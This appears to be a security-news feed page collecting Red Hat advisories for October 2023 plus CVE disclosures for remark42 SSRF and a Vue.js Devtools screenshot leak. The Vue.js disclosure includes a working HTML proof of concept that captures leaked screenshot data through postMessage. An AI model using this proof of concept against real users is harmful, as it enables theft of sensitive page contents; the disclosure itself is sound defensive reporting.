Red Hat Security Advisory 2023-6048-01 - Updated images are now available for Red Hat Advanced Cluster Security. The updated image includes new features and bug fixes. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6048.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: ACS 4.2 enhancement and security update  
Advisory ID:        RHSA-2023:6048-01  
Product:            Red Hat Advanced Cluster Security for Kubernetes  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6048  
Issue date:         2023-10-23  
Revision:           01  
CVE Names:          CVE-2023-39325  
====================================================================

Summary: 

Updated images are now available for Red Hat Advanced Cluster Security. The updated image includes new features and bug fixes.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

This release of RHACS 4.2.2 includes fixes for the following security  
vulnerabilities:

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

It contains the following bug fixes and changes:

* Previously, Red Hat OpenShift Container Platform customers using the downloaded manifest bundle with automatic upgrades enabled found that Sensor did not automatically upgrade, and failed with a `PRE_FLIGHT_CHECKS_FAILED` error. This issue has been fixed. (ROX-19955)

* RHACS 4.2.2 includes a new default policy called \"Rapid Reset: Denial of  
Service Vulnerability in HTTP/2 Protocol\". This policy alerts on  
deployments with images containing components that are susceptible to a  
Denial of Service (DoS) vulnerability for HTTP/2 servers, based on  
CVE-2023-44487 and CVE-2023-39325. This policy applies to the build or  
deploy life cycle stage.

Solution:

CVEs:

CVE-2023-39325

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_security_for_kubernetes/4.2/html/release_notes/release-notes-42  
https://access.redhat.com/security/cve/CVE-2023-39325  
https://access.redhat.com/security/cve/CVE-2023-44487  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-6048-01

umputun remark42 version 1.12.1 and before has a Blind Server-Side Request Forgery (SSRF) vulnerability.

**CVE-2023-45966****Blind SSRF in umputun/remark42 <= 1.12.1 \[Suggested description\] An issue was found in umputun/remark42 <= 1.12.1. Malicious JSON in POST request to /api/v1/comment?site=<SITE\_ID> leads to Blind SSRF due to missing title field and insufficient filtering of url field in comment creation request.****\[Additional Information\] Fixed in commit: efceed6****\[VulnerabilityType Other\] CWE-918: Server Side Request Forgery****\[Vendor of Product\] https://github.com/umputun****\[Affected Product Code Base\] Affected version: umputun/remark42 <= 1.12.1****\[Affected Component\] /api/v1/comment****\[Attack Type\] Remote****\[Impact Code execution\] false****\[Impact Denial of Service\] false****\[Impact Escalation of Privileges\] false****\[Impact Information Disclosure\] true****\[Attack Vectors\] An attacker able to send crafted JSON****\[Discoverer\] Dmitry Kuramin (Jet Infosystems, jet.su)**

\[Reference\] https://jet.su/vuln

CVE-2023-45966: GitHub - jet-pentest/CVE-2023-45966: Blind SSRF in umputun/remark42 <= 1.12.1

IBM Security Verify Governance 10.0 does not encrypt sensitive or critical information before storage or transmission.  IBM X-Force ID:  256020.

CVE-2023-33837: Security Bulletin: IBM Security Verify Governance is affected by multiple vulnerabilities

The Vue.js Devtools extension was found to leak screenshot data back to a malicious web page via the standard `postMessage()` API. By creating a malicious web page with an iFrame targeting a sensitive resource (i.e. a locally accessible file or sensitive website), and registering a listener on the web page, the extension sent messages back to the listener, containing the base64 encoded screenshot data of the sensitive resource.

**Disclosure Status**

I have disclosed this to the maintainer, who issued a fix (by disabling the screenshot functionality by default) in version 6.5.1

**Commits**

https://github.com/vuejs/devtools/releases/tag/v6.5.1

https://github.com/vuejs/devtools/commit/3444bdd8

**Technical Details:**

The Vue.js Devtools extension was found to leak screenshot data back to a malicious web page via the standard postMessage() API. By creating a malicious web page with an iFrame targeting a sensitive resource (i.e. a locally accessible file or sensitive website), and registering a listener on the web page, the extension sent messages back to the listener, containing the base64 encoded screenshot data of the sensitive resource.

Some user interaction was required, as the messages containing screenshot data were only sent when the victim hovered over the timeline bars in the timeline tab (see below)

Some mitigations exist in terms of the website that can be targeted by the malicious web page, as the target site must allow being embedded within iFrames (i.e. the X-Frame-Options HTTP response header must not be present or must explicitly allow the target site). However, it was found that other tabs with the Vue.js devtools extension active also leaked screenshot data back to the malicious web page, increasing the chance of sensitive information disclosure.

The code below shows how the extension uses a wildcard in the postMessage() function call (\*) to send the messages back to the web page listeners, which is why screenshot data from separate tabs can be leaked.

const bridge \= new Bridge({
  listen (fn) {
    window.addEventListener('message', evt \=> fn(evt.data))
  },
  send (data) {
    if (process.env.NODE\_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '\*')
  },
})

**PoC**

In the proof-of-concept Vue.js application below, the standard window.addEventListener(‘message’ <listener>) API is used to register a listener on the malicious web page. The setInterval() function is used to regularly simulate clicks on the PoC page, as these (mouse, keyboard etc) events are what trigger the page capture APIs to generate screenshot data. The handleScreenshot() function checks each incoming message for the expected parameters and converts the incoming base64 encoded screenshot data into an image, which is embedded into the PoC page. In reality, the base64 data would probably be silently exfiltrated to a malicious backend server.

<!DOCTYPE html\>
<html lang\="en"\>
<head\>
    <meta charset\="UTF-8"\>
    <title\>postMessage() PoC</title\>
    <script src\="https://unpkg.com/vue@3/dist/vue.global.js"\></script\>
</head\>
<body\>
    <div id\="app"\>
        <iframe src\="https://www.wikipedia.org" style\="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"\></iframe\>
    </div\>
    <script\>
        const { createApp, ref } \= Vue

        createApp({
            setup() {
                const message \= ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script\>

    <script\>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) \=> {
                console.log(\`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}\`);
                handleScreenshot(msg.data);
            });
            console.log(\`Added message listener (window.addEventListener)..\`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length \> 0) {
                data.payload.forEach((event) \=> {
                    if (event.event \=== 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(\`Got screenshot with id: ${event.payload.screenshot.id}\`);
                        let img \= new Image();
                        img.src \= event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script\>
</body\>
</html\>

CVE-2023-5718: Vuejs Dev Tools v6.5.0 Sensitive Information Leaked to Malicious Web Page

Red Hat Security Advisory 2023-5982-01 - An update for foreman_ygg_worker, puppet-agent, qpid-proton, and yggdrasil is now available for Satellite Client 6 for RHEL 6, Satellite Client 6 for RHEL 7, Satellite Client 6 for RHEL 8, and Satellite Client 6 for RHEL 9. Issues addressed include code execution and denial of service vulnerabilities.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5982.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat Satellite Client security and bug fix updateAdvisory ID:        RHSA-2023:5982-01Product:            Red Hat Satellite ClientAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5982Issue date:         2023-10-20Revision:           01CVE Names:          CVE-2022-1292====================================================================Summary: An update for foreman_ygg_worker, puppet-agent, qpid-proton, and yggdrasil is now available for Satellite Client 6 for RHEL 6, Satellite Client 6 for RHEL 7, Satellite Client 6 for RHEL 8, and Satellite Client 6 for RHEL 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Security Fix(es):* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)* openssl: c_rehash script allows command injection (CVE-2022-1292)* openssl: the c_rehash script allows command injection (CVE-2022-2068)* golang: net/http: excessive memory growth in a Go server accepting HTTP/2 requests (CVE-2022-41717)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* Katello Agent / Goferd Service CLOSE_WAIT Connections on RHEL8 Clients (BZ#2184996)* Not possible to configure the temporary directory to be used on clients by remote execution in pull mode (BZ#2217079)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2022-1292References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/documentation/en-us/red_hat_satellite/6.13/html/upgrading_and_updating_red_hat_satellite/indexhttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5982-01

Red Hat Security Advisory 2023-5980-01 - Updated Satellite 6.11 packages that fix several bugs are now available for Red Hat Satellite. Issues addressed include code execution and denial of service vulnerabilities.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5980.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Satellite 6.11.5.6 async security update  
Advisory ID:        RHSA-2023:5980-01  
Product:            Red Hat Satellite 6  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5980  
Issue date:         2023-10-20  
Revision:           01  
CVE Names:          CVE-2022-1292  
====================================================================

Summary: 

Updated Satellite 6.11 packages that fix several bugs are now available for Red Hat Satellite.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat Satellite is a system management solution that allows organizations to configure and maintain their systems without the necessity to provide public Internet access to their servers or other client systems. It performs provisioning and configuration management of predefined standard operating environments.

Security fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (Rapid Reset) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset) (CVE-2023-44487)

A Red Hat Security Bulletin which addresses further details about the Rapid Reset flaws is available in the References section.

* ruby-git: code injection vulnerability (CVE-2022-46648)

* ruby-git: code injection vulnerability (CVE-2022-47318)

* Foreman: Arbitrary code execution through templates (CVE-2023-0118)

* Satellite/Foreman: Arbitrary code execution through yaml global parameters (CVE-2023-0462)

* openssl: c_rehash script allows command injection (CVE-2022-1292)

* openssl: the c_rehash script allows command injection (CVE-2022-2068)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

This update fixes the following bugs:

2159417 - CVE-2023-0118 foreman: Arbitrary code execution through templates [rhn_satellite_6.11]  
2163523 - CVE-2023-0462 foreman: Satellite/Foreman: Arbitrary code execution through yaml global parameters [rhn_satellite_6.11]  
2242355 - CVE-2022-1292 CVE-2022-2068 puppet-agent for Satellite and Capsule: various flaws [rhn_satellite_6.11]  
2242360 - CVE-2022-47318 tfm-rubygem-git: ruby-git: code injection vulnerability [rhn_satellite_6.11]  
2242364 - CVE-2022-46648 rubygem-git: ruby-git: code injection vulnerability [rhn_satellite_6.11]  
2243832 - [Major Incident] CVE-2023-39325 CVE-2023-44487 yggdrasil-worker-forwarder: various flaws [rhn_satellite_6.11] 

Users of Red Hat Satellite are advised to upgrade to these updated packages,  
which fix these bugs.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-1292

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://access.redhat.com/documentation/en-us/red_hat_satellite/6.11/html-single/upgrading_and_updating_red_hat_satellite/index#updating_satellite

Red Hat Security Advisory 2023-5980-01

Red Hat Security Advisory 2023-5979-01 - Updated Satellite 6.12 packages that fixes important security bugs and several regular bugs are now available for Red Hat Satellite. Issues addressed include a code execution vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5979.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Satellite 6.12.5.2 Async Security Update  
Advisory ID:        RHSA-2023:5979-01  
Product:            Red Hat Satellite 6  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5979  
Issue date:         2023-10-20  
Revision:           01  
CVE Names:          CVE-2022-1292  
====================================================================

Summary: 

Updated Satellite 6.12 packages that fixes important security bugs and several  
regular bugs are now available for Red Hat Satellite.

Description:

Red Hat Satellite is a system management solution that allows organizations to  
configure and maintain their systems without the necessity to provide public  
Internet access to their servers or other client systems. It performs  
provisioning and configuration management of predefined standard operating  
environments.

Security fix(es):

foreman: Arbitrary code execution through templates

foreman: Satellite/Foreman: Arbitrary code execution through yaml global parameters

foreman: OS command injection via ct_command and fcct_command

puppet-agent for Satellite and Capsule: various flaws

tfm-rubygem-git: ruby-git: code injection vulnerability

rubygem-git: ruby-git: code injection vulnerability

yggdrasil-worker-forwarder: various flaws

This update fixes the following bugs:

2159656 - CVE-2023-0118 foreman: Arbitrary code execution through templates [rhn_satellite_6.12]  
2163524 - CVE-2023-0462 foreman: Satellite/Foreman: Arbitrary code execution through yaml global parameters [rhn_satellite_6.12]  
2163694 - CVE-2022-3874 foreman: OS command injection via ct_command and fcct_command [rhn_satellite_6.12]  
2242354 - CVE-2022-1292 CVE-2022-2068 puppet-agent for Satellite and Capsule: various flaws [rhn_satellite_6.12]  
2242359 - CVE-2022-47318 tfm-rubygem-git: ruby-git: code injection vulnerability [rhn_satellite_6.12]  
2242362 - CVE-2022-46648 rubygem-git: ruby-git: code injection vulnerability [rhn_satellite_6.12]  
2243833 - [Major Incident] CVE-2023-39325 CVE-2023-44487 yggdrasil-worker-forwarder: various flaws [rhn_satellite_6.12]

Users of Red Hat Satellite are advised to upgrade to these updated packages,  
which fix these bugs.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-1292

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/documentation/en-us/red_hat_satellite/6.12/html/upgrading_and_updating_red_hat_satellite/index  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5979-01

Red Hat Security Advisory 2023-5978-01 - JBoss EAP XP 4.0.0.GA security release on the EAP 7.4.13 base is now available. See references for release notes. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5978.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat JBoss EAP 7.4.13 XP 4.0.0.GA security releaseAdvisory ID:        RHSA-2023:5978-01Product:            Red Hat JBoss Enterprise Application PlatformAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5978Issue date:         2023-10-20Revision:           01CVE Names:          CVE-2023-44487====================================================================Summary: JBoss EAP XP 4.0.0.GA security release on the EAP 7.4.13 base is now available. See references for release notes.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:This asynchronous patch is a security update zip for the JBoss EAP XP 4.0.0 runtime distribution for use with EAP 7.4.13.Security Fix(es):* undertow/netty-codec-http2: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about the Rapid Reset flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:CVEs:CVE-2023-44487References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003https://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.4/html-single/red_hat_jboss_eap_xp_4.0.0_release_notes/indexhttps://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.4/html-single/jboss_eap_xp_4.0_upgrade_and_migration_guide/indexhttps://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.4/html-single/using_jboss_eap_xp_4.0.0/index

Red Hat Security Advisory 2023-5978-01

Red Hat Security Advisory 2023-5976-01 - An update is now available for Service Telemetry Framework 1.5.2. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5976.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Service Telemetry Framework 1.5.2 security update  
Advisory ID:        RHSA-2023:5976-01  
Product:            Red Hat OpenStack Platform  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5976  
Issue date:         2023-10-20  
Revision:           01  
CVE Names:          CVE-2022-41724  
====================================================================

Summary: 

An update is now available for Service Telemetry Framework 1.5.2.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* golang: crypto/tls: large handshake records may cause panics (CVE-2022-41724)

* golang: crypto/internal/nistec: specific unreduced P-256 scalars produce incorrect results (CVE-2023-24532)

* golang: net/http, net/textproto: denial of service from excessive memory allocation (CVE-2023-24534)

* golang: net/http: insufficient sanitization of Host header (CVE-2023-29406)

* golang: crypto/tls: slow verification of certificate chains containing large RSA keys (CVE-2023-29409)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-41724

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5976-01

Red Hat Security Advisory 2023-5974-01 - An update for network-observability-console-plugin-container, network-observability-ebpf-agent-container, network-observability-flowlogs-pipeline-container, network-observability-operator-bundle-container, and network-observability-operator-container is now available for NETWORK-OBSERVABILITY-1.4.0-RHEL-9. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5974.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Network Observability security update  
Advisory ID:        RHSA-2023:5974-01  
Product:            Network Observability  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5974  
Issue date:         2023-10-20  
Revision:           01  
CVE Names:          CVE-2023-29406  
====================================================================

Summary: 

An update for network-observability-console-plugin-container, network-observability-ebpf-agent-container, network-observability-flowlogs-pipeline-container, network-observability-operator-bundle-container, and network-observability-operator-container is now available for NETWORK-OBSERVABILITY-1.4.0-RHEL-9.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* golang: net/http: insufficient sanitization of Host header (CVE-2023-29406)

* golang: crypto/tls: slow verification of certificate chains containing large RSA keys (CVE-2023-29409)

* golang: html/template:  improper handling of HTML-like comments within script contexts (CVE-2023-39318)

* golang: html/template: improper handling of special tags within script contexts (CVE-2023-39319)

* golang: crypto/tls: panic when processing post-handshake message on QUIC connections (CVE-2023-39321)

* golang: crypto/tls: lack of a limit on buffered post-handshake (CVE-2023-39322)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-29406

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Tag

#js